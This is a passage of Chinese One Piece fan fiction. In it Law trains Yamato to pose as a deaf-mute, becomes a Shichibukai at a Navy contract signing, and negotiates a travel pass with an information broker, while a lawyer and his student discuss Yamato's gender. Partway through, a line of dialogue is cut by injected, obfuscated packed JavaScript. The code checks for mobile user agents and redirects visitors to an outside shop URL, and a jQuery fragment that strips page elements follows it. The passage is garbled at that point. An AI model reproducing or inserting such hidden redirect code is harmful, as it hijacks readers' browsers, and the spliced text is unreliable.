——喂喂,能不能行!还指望他能日后协助大伙最重要的“大宝贝”船长呢,如此缺乏紧张感,还不明白洛基岛时间结束,船长马上就要亲自回来了吗? 不过想一想某人这些天没日没夜的练习,应该能过眼前一道“关卡”吧。 至少到目前为止,罗的计划已经完成了第一步,佩金也能稍微放下悬了多天的心。 一切就等船长回家。 29.piece 29-船长的谋划与王下七武海 字母;单字;会话—— 一项项对比考察下来,白发海贼都无疑是做的最好的。 甚至不用太对比,他在最流利的情况下,可以每秒1个手势拼写名字、或表达常用语句。 赛蒙已经败下阵来,贝波因一直在外实际也没有太多工夫掌握手语,剩下的寥寥几人更加不敌。其实大和注定赢了。 船长窝在操作台前的座位上,面朝仪表盘,好像没有在关注背后所发生的事,可当伊卡库一个劲夸某人的时候,他听到了,还是会莞尔。 “行了。”感觉也差不多了,罗将坐着时翘在操作台上的双腿放下,起身面朝所有人。“打杂的,这次就算你通过。但为了让你习惯不开口讲话,在接下来2天里,所有人都要一起监督你: “但凡张嘴说1个字就‘扣1分’,你一共有10次机会——也就是10分——扣完还是等同于你没通过。” 顿了顿,像是为了说明自己不是针对他,罗放缓语气补充道:“这已经很仁慈了。” “明白了,船长!”好在他看起来毫不介怀。 罗才放心了不少。同时也疑惑自己回来时听佩金说的“对那家伙也不要太苛刻;还是小鬼脾气,被丢下后像只小狗一样委屈了好久”是不是有夸大成分。 “好,那就从现在开始。赛蒙找个计分板出来,任何人发觉他说话,都记下来——也包括讲梦话。” “啥?”——连梦话也算! 罗没忍住又隔空瞪了他一眼,直接用实际行动代替提醒:“1分。” “……”大和傻眼。 其他人起先面露惊讶,等明白转瞬之间杂役已经失去1次说话机会后,纷纷偷笑起来。尤其是在刚刚的“比赛”里败在他手下的人,更是倒竖大拇指、当面嘲笑他。 那人在海贼们毫不掩饰“打击报复”中憋屈不敢张嘴的样子,罗也看得一清二楚,想了想,只伸手招了一下:“打杂的,跟我到船长室来。” 大和差点又下意识地开口答应,好险忍住,拔腿小跑跟上船长,丢下身后一群试图对他“钓鱼”执法的讨厌鬼们。 “你的脸是怎么回事?”反手刚扣上船长室的门,就听走在前方的海贼船长开口问他。 大和抬起头,呆了约1秒,还是觉得这种情况下不开口比较保险。又不是很确定罗是否也已经懂得手语。还是尝试性地比划道: ‘可能吃了太多巧克力’。 “巧克力?”罗见他这么快就学警觉了,意外之余也颇感欣慰。 大和这才确定对方真能看懂,眼前“蹭”地一亮,确信他家船长果然是万能的优秀男人! ‘因为吃下巧克力以后会记地更快’,‘也不容易困了’。 这么多天过去,脸上还有着没消的痘印:额头上1颗还红着,左脸颊上和嘴角的已经瘪了,下颌上的应该是刚冒出来没多久。 罗记得他刚出发时,杂务的脸蛋还干净地仿佛剥壳的煮鸡蛋一样,手感也是又软又滑。眼下看到其面部的痤疮痕迹,又知晓背后缘由,心境不禁有些复杂。 他顿了一下,讲话的同时也伸出双手向大和证明他的确懂手语:“不难吃吧?” ‘好吃’。 失了光洁的脸上仍露出阳光的笑容。 罗眼底柔和了几分,招招手让对方过来坐下。“我给你稍微处理一下。” 一转眼,他翻出棉棒与药瓶,消毒过后拧开瓶口,一阵清香飘出。 正低头沾药,有只手伸到面前无声地摆了摆,吸引到他的目光后,大和又熟练地比划: ‘那时候的花’? “是。这叫蓟草,可以消炎消肿。”医生一面替他的“病患”上药,一面解释到,“离开神庙岛之前,我让其他人多采了些回来提取出有效物质配的新药。对付你这点问题轻而易举。” 正乖乖上药的人又笑嘻嘻,不知是不是想起了那是自己第一次送出的花。 ……糟了。居然在他家船员满脸痤疮的情况下,还会觉得这样子有点可爱。 近距离下喉结微动,同时间也莫名心动的人想想还是忍住了。 他考虑有些话有没有必要说出来,譬如因为大和当海贼的时间最短、案底最干净,譬如也因为大和的实力在所有船员中是上乘,幻兽种恶魔果实附带的自然系能力又恰好补足他的短板,又譬如他带了私心…… 总而言之,原本他想带走的随行船员就是大和。 ——但是这种话讲出来就太过于肉麻了吧? 就连出发之前发脾气,也带有故意刺激对方的一点“算计”。 让杂务知道的话可能还会觉得被他骗了。 还是不说了罢。 等到对方什么时候想明白,主动问出来时,他再承认好了…… - - 一连两日,自从船长下令将“计分板”挂出来,杂务船员就像变成了众矢之的,无论在船上走到哪里、做什么、遇到谁,其他人都会想尽办法逗他讲话。 要么是在白发人路过的地方谈论些有趣的话题,明显是放在平日他一定会参与进去的; 要么是故意误解他要表达的意思——不过一半时候也确实因为其他人还看不懂手语; 还有的人,甚至会在晚寝前突然坏笑地盯着他,看得他浑身起毛,担心自己会不会睡着之后真地管不住嘴。 大和差点自闭了,只能在急得跳脚并比着手势骂完‘坏!家!伙!’之后,一溜烟跑进无人的角落画圈圈。 但他确实勉强保持了两天下来只扣掉‘1分’——最开始被罗扣掉的——记录。 待到罗将洛基岛一战中“收割”的100颗海贼心脏装箱,大摇大摆地送入海军基地,达到目的后再次回到船上时,才知道“有人”跟其他船员已经玩起了“捉迷藏”。 就算暂时志得意满后心情好,船长听到这种可笑做法后也没说什么,用能力轻易找到蹲在仓库里长蘑菇的船员。 罗有些忍俊不禁,走去旁边想了想,还是中肯地说:“怪我,难为你了。” 大眼睛从地面望向头顶,罗见状也干脆蹲下来,看对方比手示意,就像真正不会说话的人那样默然,却用眼神和表情显示着愤慨。 ‘不怪你’,‘他们故意逼我说话’。 “嗯,我能想到。”一群精力过剩的海贼会怎么戏谑,他都能料到。 ‘我没发任何声音哦’。 他有些好笑,却也知道这是自己的命令。“做的好。”顺便像女船员和厨子常做的那样,抬手揉了揉白毛脑瓜。 得到夸奖和爱抚的人弯唇,又凑近了些。 ‘你进海军基地顺利吗’? “几乎没障碍。碰到些‘饭桶’罢了。” ‘结果如何’? “如我所料,”他说到这里又面露微笑,“你和我很快就要出发了,打杂的。晚上简单收拾一下东西,明天离船跟我去别处。” 接下来的旅程将只有他们2人相伴。 “记住我说的话:今后你就扮作我的‘跟班’,提防任何要和你搭话的人——我说的是除我以外的任何人——跟我交流也只能用手语,当着外人的面,我也会用手语跟你交流;听到任何人讲话,除非是正对着你时可以装作读‘唇语’,其他时候就当没听到。” ‘我记住了’,‘放心吧’。‘我不会让你落入任何险境的。’ 罗扬唇笑了一下,“不,从这里踏出之后,只有数不尽的险境。你不用替我操心,但是要跟紧我,别走丢了就行。” 那人点了点头,朱红若美人蕉的双眼传达出的目光坚定。 罗也好像又有了依傍似地,心跟着更加沉着几分。 静默一会,大和又抬起手来。‘你为什么手语这么熟练’?难道说海贼船长过去也有不能说话的时候吗? “我曾经想试试不再说话、也听不到外界该怎么生活。干脆就自学了手语。” 在简单的解释背后,到底有着何种情形,又为何罗过去某一时刻会想到装聋作哑,都是大和此刻还不得而知的。 听者眨眨眼睛,暂未追问,或许也在等,等着他所注视之人亲口将有关自己的全部告诉他。 通过和科斯莫岛的伊德海拉短暂相识,他已明白,人和人之间建立信任事实上是多么困难。他能感觉到,罗远比他有着更为丰富的过往,但罗一概未提。 失落有之,想想又觉得兴许他在意之人只是觉得没必要说、或还没到要讲出来的时机,大和愿意且唯独愿意相信罗不是故意有所隐瞒,至少不会用这些秘密损害任何人。 他肯定,自己喜欢的男人必定有着合乎情理的理由。 注意力回到当下,对方忽然毫无预兆地朝他腰间摸过来,碰巧戳中敏感部位,痒得他一跳,站了起来。 “话说回来,之前吃了那么多巧克力,没乱长肉吧?”后者也在问话的同时起身。 大和不明所以地看看他。 罗心领神会地一笑,在对面人发呆的时候,伸手揽到腰间,也解释了原因:“跟我回船长室试一下新衣服。按你的尺寸找裁缝制的,最好没瘦也没胖,不然还得改。” 贴近之人虽无抵抗便反手相拥,却也为这消息感到意外。 大和不得以又抬起双手,‘什么时候量的’?‘我没’——还未表达完便被海贼船长一手按下。 熟悉又好闻的气息近的都能扑在脸上,“香波地。”先有一点扎人像玫瑰刺似的,然后唇瓣久违地印在脸上。 “还是不许‘出声’——别说我没提醒。” 忽然背景一变,大和还有些迟钝的判断应该是来了船长室,便被推倒在弹性十足的单人床上。 反观两人上1秒所处的船上仓库,戴白色面具船员才推开门,四下找了一圈之后,又疑惑地抓着头顶退出来。 ——“明明刚才看到船长进去的。还想把刚做好的狼牙棒给他看看呢……这下船长和亚玛都不见了……算了,明天再说吧。” 白雁也离开后,仓库彻底了无人迹。 船长室中倒有不少缭乱的气音——只叹音量还不足以传出门去。 - - 数天后,绘有红心海贼团标识的船只竟能光明正大开入香波地群岛港口。这是船第3次靠港,想必也将是旅途完成前的最后1次。 之所以如此有恃无恐,乃因在此之前,船长已成为世界政府所公开承认的大海贼,也即“王下七武海”。 签订条款那日,罗真的只带大和作为随行“助理”登上海军的舰船。前来接应的海兵虽然试图指出这种做法“有违约定”,却被预备成为七武海的男人一言堵了回去。 他说跟他来的人目前没有任何案底,还是清清白白的“普通人”,有何证据表明算他违约? 僵持之下,最终在与海军本部联络一番确认同行者数据后,两名事实上的海贼还是暂且坐进了签订桌前。 一落座,就像故意试探罗身旁那人的真实身份那样,海军中将拿出拟签订的条款,直接递给身穿冷杉绿西装与奶油色西裤的“助理”。只象征性地看着七武海本人的方向问了句: “既然是助理,又是大律师‘门生’,那想必是要替雇主看一看文件的吧?” 海贼船长就像大爷似地靠在沙发椅上,冲他耸了耸肩,那意思大概是随他的便。 随行者一声不吭地接过举到面前的文件夹,极其自然地浏览了起来。对此中将自然不能满意。 “怎么样,条款有问题吗?” 略显急迫的逼问,但可能说的有些早了。 看文件的人就像没听见那样继续研读字里行间,倒是罗面露嘲解劝到:“别这么急嘛,总要花点时间仔细看不是?” 这样说着,海贼也还是转过脸去看看带来的人。 中将试图从这样的行为里看出一些端倪,便同时在桌后打量他们的举止。 没想到“助理”不但打扮地颇为考究,连检视条款时的样子都很像那么回事。没过一会,抬起头来比了个手势,中将还没明白,海贼却已伸手将面前的笔拾起来递了过去。 大和却摇了摇手,又比出另外的手势。 “什么意思?”军官问到。 “叫你的人送支铅笔来。”罗代为回答。 “铅笔?不。我是说,‘她’为什么不开口说话?”军官阐明了问题,却也同时扬了扬手,叫人按海贼所说的取来铅笔。 “用【他】,海兵,别被你的鼠目寸光骗了。”替不能张嘴的人纠正过后,罗再慢条斯理地解释:“他不会说话,也听不到你在说什么,有什么问题,我替你‘翻译’呀?” “什么?”军官皱着眉露出不能理解的表情。 这和从本部问到的信息出入太大,他可没听说响当当的大律师所收“学徒”,且有能力参与顶上战争之人,是个聋哑人。 “不好意思了,中将,这是我跟他之间的‘交易’。他要给我打下手,就必须完全听我指挥,所以我切走了他的声带和一部分耳蜗。” “荒谬!”——但这样的话似乎听“死亡外科医生”之称的海贼说来,又并非全然无法想象。 罗才不会管别人怎么评价。讲完了一早想好的说辞,又将目光重新投向身边不动声色的人,越看就越满意: 且不说装聋作哑的表现有够到位。单就观瞻效果而言,西装宽肩细腰,花辫一丝不苟地将长发盘在脑后,精巧的耳环在侧面闪耀,认真状态下整个人看起来也熠熠生辉——多少算是个“斯文败类”了吧。 此刻他在垂眼仔细阅读文书的同时,还不时用刚拿到的铅笔划出关键词。 原本不清楚他是不是真会看合同,如今亲眼瞧见,才知没白跟着律师学了许多时日。虽然还不确定能到多专业的程度,可光是眼下工作中的侧面就令人想要信服。 罗的眼前一亮,忽被旁人帅气的样子撩拨到情致。 这时他也终于抬起眼来,竟还砖头直视过来,一板一眼地比划起来。 “条款描述很清晰。”海贼在用露骨的眼神盯着同行者的同时,也顺便将他的意思翻译成言语,告诉桌对面的军官。 “政府和七武海的权利与义务都规定清楚了,没什么问题。但是有关‘强制召集’的规定里没提依照什么具体条件定义‘强制召集’,可否再解释一下?” 军官被他们有模有样、似真似假的互动唬得一懵,招招手叫来1位海兵,交代了问问船上有没有懂手语的人之后,重新坐下回答:“‘强制召集’的解释权归政府所有,只要是世界政府向七武海发布强制召集,所有人就必须接受。没有什么具体条件好解释。” “——那就是‘霸王条款’咯。”罗不急不忙地吐槽过后,转过去也灵活地舞弄起手指。 “……”中将没有回答,看着海贼停手后,同行者面露了然却还是一声不发。 “好吧。”“七武海”又亲自翻译到,“那就签字吧。” “等一等,”海军代表却在此时招手喊停,“特拉法尔加-罗,可否再帮我转达1个问题?” 罗听后定睛看向桌后一眼,“与‘七武海’的条款有关系?” “与今天能否顺利签订条款有关系。”对方此刻耍起了“官威”。 海贼不带感情地扯扯嘴角,还是“战术性”地选择让步,“我试试看吧。” “多谢。”军官没理会海贼用语中的文字游戏,直接说到:“我想问问这位‘助理’:为什么当初要帮着海贼营救波特卡斯-D-艾斯,他不知道这样做等于同□□对付政府吗?” 罗不爽地皱眉道:“名字太长了!我可不会拼,看他自己能不能懂吧。”说罢他还是比了一串手势。 在随后被带进办公室的海兵看来,虽然省略了些内容,但基本意思不出错。 另1人的手语表达则更加精准—— “艾斯是我的朋友,世界政府不打算让他接受公平的审判,那我就只能亲自去救他。” 罗听见有人接过翻译任务,就靠在椅子上不吭声了。 中将又问到:“那么现在呢?你打算彻底放弃律师的大好前程,彻底投靠海贼吗?” 大和注意到了新进来的海兵,即便实际上也能听到军方的问题,但还是等到海兵的手势停下来之后,才借由其口“回答”: “我从来都不是律师,只是有幸受律师指导一阵子。我感激律师的好意,但我没打算继续。旁边这位对我而言是重要的‘新雇主’。” “海贼连坐在被告席的资格都没有。你找这样的雇主没有意义。” “作为人而言,每个人都有资格坐上被告席。只是你们无视了这一点而已。” “还真像‘大律师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976639|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’的口气。你真地放弃听力、放弃声音了?就为了帮这个男人,值得吗?” “这没什么,我能说话时,你们也一样‘听不到’我的声音。” “你没回答我的问题。” “我不想再回答无聊的问题。” 听到这里,沉默许久的罗终于将声音插入进来,“哦,不想答?那简单。”说着朝“助理”面前摆摆手好像引回他的注意力,然后打着手势告诉他:“跟我学。” 包括大和在内,在场几人都不解地看看他。 罗的注意力却只在1人身上,还是那副孤傲的微笑,还是坐没坐相的姿势,他示意旁人和他一样抬起右手,掌心朝着自己、手背朝外,然后收起四根手指。 周边的海兵们脸色均发生不同程度的变化。 唯有“秘书”会意,然后和“七武海”一样,竖起中指,也面露微笑,甚至还将脑袋歪向同一边,学得惟妙惟肖。 两张差不多年轻戏谑的脸庞共同面对无语的军官。 ——有件事亚伯拉罕-富兰克林确实早就断定,跟着北海这个海贼,不被带坏也难。 反正,无论过程如何,特拉法尔加-罗成为王下七武海的契约已经签完,白纸黑字,板上钉钉。 - - 伟大航道的另一面,电话虫模仿讲话者的语音语调,告诉电话这头的人:“富兰克林,我得到消息,你之前评价颇高的学徒和1名七武海走得很近,听说已经受雇为‘秘书’或‘助理’了。这是彻底打算和海贼沆瀣一气的意思么?” “中将,很遗憾虽然我很喜爱那个孩子,视他为我目前为止最好的‘门生’,但他已经离开我这里。至于离开之后要怎么做,是他的自由。” “这么说,你一点都不了解亚玛去找那个七武海的打算?”阿鹤平静的语气中有些许怀疑。或许亚伯拉罕若是说完全不了解“最好的‘门生’”又有点说不过去。 “……不,我多少知道一点。他对那个男人有着爱慕之情,这一点是我能确定的。” “啊?”电话虫露出诧异而困惑的表情,随后发出豁然开朗的笑声,“没想到会是这种理由,难道就因为恰巧喜欢上海贼,才从你这弃明投暗吗?”如果是这样,正义的阵营听起来也太过儿戏。 “我不这么认为,中将。那孩子明辨是非的能力是有的,他或许不仅仅被感情所引导,应当察觉到特拉法尔加-罗身上有某些闪光点。” 亚伯拉罕曾记得有人振振有词地对他说,那位北海出身的海贼本性善良而温柔,有着高尚的优点。虽然还没有任何确凿证据,但律师暂且选择接受“辩护方”的论点。 “我们律师不作‘有罪推定’。亚玛直觉极强,我尊重他的判断。又或者他相信自己跟着特拉法尔加,终有某日会找寻到自己追求的价值。我能做的只有祝福他,以及……如果有一天他被政府不分青红皂白地抓了,我会努力为他检视所有‘罪证’。” “呵呵,这话也就对我说一说,千万别……” “不,鹤中将,很抱歉打断您的话。我一直很尊重您,也尊重海军守护的正义,但我有我坚信的正义——任何人都应该得到平等的审判——罗杰父子的死亡是个悲剧,我希望不要再有了。” “唉……” 电话虫在叹息之后最终合上双眼,寓意着通话终止。 “富兰克林先生,亚玛酱他们遇到麻烦了么?”学生打扮的少女将刚泡好的茶水端过来,借此机会也关心一下刚刚不巧听到的讯息。 “谢谢。”律师捧起茶杯后,也让正在备考的法学生坐下。“应该不至于有何麻烦。北海那小子自荐成为七武海,还带亚玛直接去了海军基地。好在七武海是世界政府目前承认的海贼——虽然是法理上完全站不住脚的制度——海军不会抓他们了,至少暂时如此。” “……暂时嘛?也好……” “不过,说到这,我才想起来:难怪臭小子要替亚玛消除案底,原来早就安了这个心。看来他的确有什么打算。也不知亚玛心理有数没数……偏偏跟着这么复杂的孩子。” 莉娜一时还没想通背后的讯息,稀里糊涂地听了一会,只好大起胆子问:“我没明白,您的意思是?” “就是说特拉法尔加可能早就起了要当七武海的念头,或至少是利用世界政府的旗号干点什么。在这种情况下,为了能拉着亚玛当帮手,必须先确保他背景清白,才能顺理成章地一起行动。” “啊,原来是这样!”少女恍然大悟。“可我先前以为……这么说,难道他其实是在利用她?” “……‘她’?”律师注意到一点不同,还是先放下了才喝一口的茶饮。“也不能武断说‘利用’吧。或许特拉法尔加确实有要事需要一臂之力,又或许亚玛其实也想帮他。” 虽然尊敬的长者如此解释,少女却保留了不同看法。本来除了“亚玛”和帮助过自己的律师之外,她也没有特别信任其他人,“希望亚玛酱不会像我一样被坏男人出卖……” “哈哈,我敢打赌,你以后定不会在同样的问题上‘跌倒’了。不过亚玛毕竟和你还不太一样,他面对的是‘势均力敌’的男人,没那么容易被欺负的,放心吧!” “富兰克林先生……”少女想了想,还是没忍住发问,“您是真地相信亚玛酱是男性嘛?” “怎么,你不相信?”律师早就有所察觉,此时从镜片后抬眼,倒也不显得意外。 “亚玛酱是很强大的‘女孩子’,这点我相信,但她所谓自身是‘男人’这件事,我觉得没那么简单。至少我可没见过这么可爱又靠谱的‘男人’……” “呵呵……” “——啊,我不是说您不靠谱!” “没事的。我已经一把年纪了,至少‘不可爱’是真的。”中年男人笑着自嘲一番,随后正色:“那么,莉娜,你是怎么看待这个问题的呢?” “您是说亚玛酱的性别吗?当然是女孩子了!她的身体特征——或者说‘生物’特征吧——应该都是女孩子的身体,不是吗?我想真实情况大约是在她的心灵中住了1个‘男孩子’,或者说她渴望自己像男人一样。 “传统意义上,男人拥有在这世上更大的自由和更多的尊重,这是身而为男性的‘便利’。不过世人赋予男性的价值意义还有责任与勇气,而她也确实有着男人们应当学会的勇气和绅士感——我想这种高贵的品格,原本女孩子也一样可以获得吧——就像亚玛酱。” “原来如此,你是这么理解的。”律师似乎觉得这一话题也很有趣,便又抛出新的问题来引导少女思考,“如果说,生物上并无明确划分性别的标准,性别也并非受身体束缚,亚玛确认为信自己是男人呢?” “不会吧!就算生物学上没有标准,那也只是自然科学的局限性,科学还会继续发展,应该总有1天会判明这个问题吧……不过就算是亚玛酱对性别有着‘错误’的认知,她在我心里也依然很完美,我还会接着爱戴她……” “且不说眼下的科学体系是不完善的,哪怕有1天出现了有关‘严格性别’的科学,就一定是百分百正确的吗?”亚伯拉罕又反问,“再者,性别这个概念到底是科学赋予人类的,还是人类赋予科学的呢?” 或许这些问题对于17岁的学生而言还有些超前了,莉娜显然还不能接受问题的意义。不过亚伯拉罕提醒自己试着相信当前的新学生,说了接下来的话: “莉娜,你是即将要系统学习法学的人。法理既尊重科学也尊重人类。我认为你现在有你对问题的看法是合情合理的,法会尊重不同人、不同看法,将尊重人的生存与追求幸福的权利作为前提,在具体事物中判断是否符合法理——以及某些时候是法律。 “但我还希望你能够继续学习,除了法学之外,科学、哲学、历史学,什么都需要尽可能地吸收和融汇;借助世间各式各样的智慧,你将进一步思考为什么自己会这样想,你所有想法的出发点在哪里,从何处开始相信这些想法、因何相信,进而借助学识和直觉判断事物正义与否。 “——当你能够做到这样,且不说能否成为了不起的律师,首先你将成为无坚不摧的人。无关身为男性抑或女性,就像你说的那样,高尚的品格对每个人而言是一样的,学识与头脑亦然,任何不带固有观念而能够不断深入探索世间真理的人,本质都是了不起的人。” 30.piece 30-船长的谋划与通关确认 极地潜水号按计划镀船膜,这回至少不用再担心海兵搜捕而躲躲藏藏。包括接下去进入伟大航道后半段航行,只要船长还是七武海,红心海贼团就不会受海军扰乱。 这就是在目睹过马林梵多的惨烈战争后,罗所想出的战略。 罗对他们这样的海贼有很清醒的认知,即便被媒体耸人听闻地称为“极恶世代”,实际上比起“四皇”那样的大海贼势力而言实在差远了。 ——可就连白胡子,在面对海兵围攻以及黑胡子浑水摸鱼时,居然也会无法阻挡土崩瓦解之势。相比之下,所谓的“极恶世代”、“海贼超新星”只会顷刻间灰飞烟灭。 在从不粉饰残酷真相的大海上、尤其是被四皇势力盘踞的“新世界”生存下去——罗已经思考的十分清楚——如果不想落入强敌环伺下被摧枯拉朽地淘汰、或变成依附四皇委曲求全的“小丑”,便只有通过特殊方式先站稳脚跟,再伺机逐个击破强敌。 - - 镀船膜是件麻烦又费时的事情,然而等到船只已经准备完毕下潜寻找鱼人岛,申请通过圣地玛丽乔亚穿越红土大陆顶峰的审批还是没下来。 罗只能继续等待,同时借助新七武海的身份先行搜集想要的情报。大和亦继续留在他身边充作跟班,罗因为发觉其掌握准确处理文件的能力,渐渐将各处取得的资料丢给他帮忙梳理:这下真地越发像秘书。 大和已长久习惯了不张口说话、装聋作哑的状态,在这种情况下,他好像能更加专注耐心地面对原本觉得枯燥的书面资料,并且似乎思考的时间变多了,思路变得更加清晰。 通过阅读和跟着罗整理情报,大和知晓后者正在密切关注“四皇”的动向,除此之外,还特别在意位于新世界的德雷斯罗萨王国的讯息——从国情、产业、到贸易情况以至货运航线——如果一旦出现与“唐吉诃德家族”有关的词眼,又格外引起罗注意。 罗有时还会独自外出,或深入黑暗地带、或混进海军基地调查情报。大和被单独留下时便多下了一些功夫: 已知唐吉诃德家族的实际控制人,乃王下七武海另1人,唐吉诃德-多弗朗明哥;其与所率领的唐吉诃德海贼团不但已掌握德雷斯罗萨王国的一切,也在背后操控伟大航路地下产业诸如人口买卖、管制药物、非法军火等。 想不到七武海还能借世界政府的庇护无恶不作,彻底玩转黑白两路。产业进化到如此程度,劣迹斑斑,没人相信海军和政府一点迹象也没发觉,可即便这样还是放任自流。 更深层次(或称“高层次”)的问题不但无从了解,也不在罗真正关心的范围内。大和也只好作罢,配合船长指令继续从字里行间寻找四皇与唐吉诃德家族的关联性线索。 最后从情报梳理出,似乎百兽海贼团也即四皇之一凯多,与德雷斯罗萨的关联最多。为了进一步求证,并寻求将他们一网打尽的可能性,罗决定尽快进入新世界。 其时又已过去3个月。 - - 香波地群岛的市镇上散布着节日前的浓浓气氛。 红心海贼团仅剩在伟大航道前半段的2人时不时会结伴东奔西跑。一如今日,罗约了据说能帮忙“插队”办理玛丽乔亚通行证的人,对方将见面位置选在颇难订座的时尚酒吧,罗便带大和一同前往。 其实大和对这种地方没有特别的好奇心,因为在科斯莫岛期间实在见太多了。 他心知像平时一样穿着太严肃——如同罗形容的“斯文败类”类型的打扮——可能会被酒吧挡在门外,就将外套挂在旅店里,上衣只有衬衫和西服马甲。 临出门前正低头拽开领带结,刚好回头要交代他什么的男人看到了,直勾勾地盯着他:“你在干什么?” 他只好先松开手,比划到:‘我怕穿太周正不许进店’,‘还是不要领带了’。 “……不行。”只着敞口豹纹衬衫和牛仔长裤就让人挪不开眼的青年走回来,将刚扯开一半的领带结又推了回去。 想了想,还是稍微地拽下来一点,顺便代为解开两粒扣子,露出颈项上的浅金色链子,与同样为他所送的金耳环交映成辉。 眼看这样就显得随性不少,罗觉得差不多了,又道:“以后不许在其他人面前解领带。” 白发人单手表达了不解,罗便翻眼瞥他一下,“老子爱看!只能给我看。”霸气要求后,重新走入夜幕。落在后方的人呆了呆,俄而无声莞尔。 好在进店时确不曾遇阻,只不过刚踏进电音环绕的空间,黑发男人就对同行者借口说想吃冰淇淋,“吧台那边好像有;我要草莓味的,给你自己也选1个。” 大和张望了一眼吧台前排队的情况,还是点点头答应下来。剩下的人这才独自走向约定位置,环视一圈后,架腿坐下。 时间刚刚好。没等多久,便有3个人影鱼贯走入沙发座。 罗不动声色地观察,其中身穿黑色无袖礼服短裙的女人先落座,而另外两个如保镖装扮的魁梧男人就双手交叉立在两旁。 “情报屋的?”罗也不客套,倚着沙发背确认对方身份。 年约30岁出头的女人面颊上有1粒细痣,微笑时红唇扬起,痣也随之上扬。“久闻不如一见,七武海——特拉法尔加-罗。” 他没有为对方的话回答是或者不是,直接进入正题:“电话里你说问题出在我的同伴身上,什么意思?” “哦呀,真是一点寒暄也无。”女人从容地调侃了1句,好在她足够专业,不但从不迟到,也善于应对不同类型的情报买主。 “和你一起递交通关申请的人缺少更早的身份数据,只在科斯莫波利坦有1段履历,而且是以难民身份,虽然对‘贱民’而言勉强也算个身份,可对圣地玛丽乔亚和住在那里的天龙人来说,也未免太不上台面——万一携带了什么不好的病菌之类的,谁负得起责任?” “嘁。会这么想的人才是脑子有病。”罗指了指太阳穴后,放下跷起的一腿,将上半身朝前,“有什么办法调换身份?” “除非能找出他之前原本的身份信息。” “这条路‘断’了。他不记得在此之前的事情,我也毫无线索。” “既然如此,只能放弃他咯。” “——这可不成。”罗断然拒绝。 对话一时陷入僵持,或许意识到这么谈下去会毫无进展,海贼主动多说了两句:“说好了两个人一起通关,没道理中途砍下去1个。他对我来说还很得力,我可舍不得他。” 女人掩口笑了一会,也像他一样上半身向前倾,“呵呵,既然说到这里,我也想听听:为了把那个人送上去,你还肯做到什么程度呢?” “你我都心知肚明,无中生有、有也当无的事,是世界政府和地下社会共同的拿手好戏;非要让我亲口提醒你,有钱不肯赚吗?” “这么说,我确实想起来也还有1个办法:直接把人弄成奴隶,我们请好律师和公证给你做个合同就当你买下的,你再带走就是了。按普通人类贩卖的价格定就行,这么干下来价钱最实惠。” “我要正常人的背景。”罗想都不想就答,声音如有从齿缝中挤出。 “好哇,那得要这个数才行。”女人说着伸出3根手指。 海贼倒吸一口凉气,“狮子大开口了,情报屋的。” “别误会,七武海,其中三分之一是情报买断费;如果你不介意我将你这么重视这个人的消息卖出去,当然2个就够了。”她说着便有意蜷起1指。 “待着。”罗忽然伸手将情报贩子要倒下去的指头重新抬了起来,“3个就3个。能办好的话,明早就先将一半作为定金打到你账上。” “爽快。”涂抹玫红的指尖收回前似有意无意从男人掌心抓过,又麻又痒。“那就这么说定了,2个月后等我消息。” 罗听后不禁蹙眉:“又要2个月!你们效率也太慢了,2个月还能叫‘插队’办理?” “欸,话可不是这个道理。我们跟天龙人打交道,得小心谨慎,不敢催得太紧。眼看快到新年了,哪里赶得及在新年之前交付嘛!” “1个月。”罗开始讨价还价。 “讨厌啦,你可不要仗着自己可爱就胡乱提要求噢——虽说我喜欢爱主动提要求的男人——1个月真地不行,至少1个半月。”女人笑眯眯地托腮,精明又有些闪烁的目光在青年身上打转。 “那就1个半月。”各让一步,也总好过花了那么多钱还要心怀忐忑地多等半个月。 “好呢~” 女情报贩子谈定1笔大生意,看起来心情很好,心思不禁也活泛起来。 “这么着吧,七武海,我也不是不能再为你‘特别’打个优惠折扣,”女人站起来摇曳到海贼面前,并腿弯腰时又朝他笑了笑,“看你情况,若是今晚没其他安排,我那儿有几瓶好酒远比这里的强……” 从女人的俯角看去:也就20来岁就混到七武海头衔的青年眼神虽凶,比巴掌大不了多少的小脸上,却五官标致好比电影明星;即使刚刚进来时见他侧影纤瘦,眼下从敞开的领口仔细看进去,才确定该长的肉都长在正确的位置上,出乎意料地十分漂亮。 ——骗财还要骗色的目的过于明显。罗抬眼看向情报贩子,一时还真找不到合适的词句回讽。 一番套路十分熟练的女人着实离他有些近,从她瞳孔里,他都能目睹自己无语的表情。 好在余光于此时捕捉到一段剪影,罗立即调转头部,朝那边望去:远远地,身穿他亲手所挑行头的人双手各1支冰淇淋,正立在那有些呆头呆脑地瞧着这边。 ……也不知道那人是怎么想所见这一幕的。 “‘亚玛’就是‘她’咯?”情报贩子的指尖也点了点那头。她在这句话里犯了两处错误,不过其中有1个是历史原因造成、另1个是刻板印象造成。“如果你想的话,我不介意带‘她’一起噢。” “……”罗实在有点搞不懂这心狠手辣能讹钱的女人到底玩地有多花。“不必了,而且我家这位是男人——你没听错,我现在的‘喜好’是男人。” 他以为这么说就算婉拒,不料等着他的还有后招: “唔,男人的话,再算上‘我家’这两位也不是不行哟。”她指了指身后,大概说的是那两个人高马大的保镖。 还是七武海太年轻了。他在情报贩子眼中的表情好像终于裂开1道缝,最后才在对方戏谑大笑着走开时堪堪“愈合”。 送走地下社会的“老油条”,罗定了定神,起身也离开沙发座。一面扬手,一面喊:“打杂的,愣着干嘛?!我的……” ——话未说完即被突然出现的敌意打断。 “哎唷,不得了,在这种地方能偶遇七武海!”哪里冒出来不知死活的海贼竟敢将手掌按在他肩上,还口吐狂言,“今天落在我手上,算你‘倒霉’,海贼中的叛徒,看我——”然而他的名号还没报出来就被1脚“爆”头。 转瞬间已跃过层层围栏冲过来的白发人松开脚,又在印有皮鞋鞋底的脸上补上1拳——顺带附赠草莓味甜筒——送不知名的海上“小角色”入梦。 这么两下就把五大三粗的海贼撂倒之人,还能不比情报贩子带来的俩保镖猛? 